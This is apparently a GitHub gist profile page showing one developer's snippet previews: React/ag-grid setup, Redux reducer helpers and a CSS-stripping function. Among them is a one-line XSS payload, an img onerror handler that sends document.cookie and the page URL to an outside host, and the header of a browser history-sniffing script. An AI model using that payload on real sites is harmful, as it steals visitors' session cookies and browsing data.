Skip to content

Instantly share code, notes, and snippets.

View evgeny-t's full-sized avatar
🤮

Evgeny Timoshenko evgeny-t

🤮
View GitHub Profile
@evgeny-t
evgeny-t / accessories.markdown
Created November 10, 2019 11:52
Accessories
@evgeny-t
evgeny-t / stripper.js
Created September 30, 2018 10:06
strip css rules from an element
function stripper(el) {
function _stripper(el,pseudo) {
var q=window.getComputedStyle($0, pseudo)
var t=document.createElement($0.tagName)
document.body.appendChild(t);
var tt=window.getComputedStyle(t, pseudo);
var r='';
for (var i=0;i<q.length;++i) {
if (q[i] && q[q[i]] !== tt[q[i]])
r += `${q[i]}: ${q[q[i]]};\n`;
/*
* css history knocker (determine what sites your visitors have been to)
*
* originally by Jeremiah Grossman
* http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
*
* ported to additional browsers by Samy Kamkar
*
* compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
*
import React, { Component } from "react";
import ReactDOM from "react-dom";
import { AgGridReact } from "ag-grid-react";
import "ag-grid/dist/styles/ag-grid.css";
import "ag-grid/dist/styles/ag-theme-balham.css";
import "./styles.css";
class GridExample extends Component {
<img width="0" height="0" src="" onerror='this.src="http://evgeny.site/p?qookie="+encodeURIComponent(document.cookie)+"&href="+encodeURIComponent(document.location.href);this.onerror=null;' />
<script src="https://unpkg.com/react@16.0.0/umd/react.development.js"></script>
<script src="https://unpkg.com/react-dom@16.0.0/umd/react-dom.development.js"></script>
<script src="https://unpkg.com/create-react-class@15.6.2/create-react-class.min.js"></script>
<script src="https://unpkg.com/lodash@4.17.4/lodash.min.js"></script>
@evgeny-t
evgeny-t / g.js
Last active September 3, 2017 20:05
var F=()=>Math.floor(Math.random()*10**8+10**8);var n=1000000;console.log(n);for(var i=0;i<n;++i){console.log(F(), F())}
dux(introduce => {
introduce('requestStarted',
_.noop,
(state, action) => ({ ...state, requestInProgress: true }));
introduce('requestErrored',
(message) => ({ message }),
(state, action) => ({
...state,
lastError: action.message,
let { reducer, actions } = dux({
requestStarted: _.noop,
requestStoped: _.noop,
requestErrored: (message) => ({ message }),
}, {
requestStarted: (state, action) => ({ ...state, requestInProgress: true }),
requestStoped: (state, action) => ({ ...state, requestInProgress: false }),
requestErrored: (state, action) => ({
...state,
lastError: action.message,
const requestStarted = () => ({ type: 'REQUEST_STARTED' });
const requestStoped = () => ({ type: 'REQUEST_STOPPED' });
const requestErrored = (message) => ({ type: 'REQUEST_ERRORED', message });
const reducers = (state, action) => {
switch (action.type) {
case 'REQUEST_STARTED':
return { ...state, requestInProgress: true };
case 'REQUEST_STOPPED':
return { ...state, requestInProgress: false };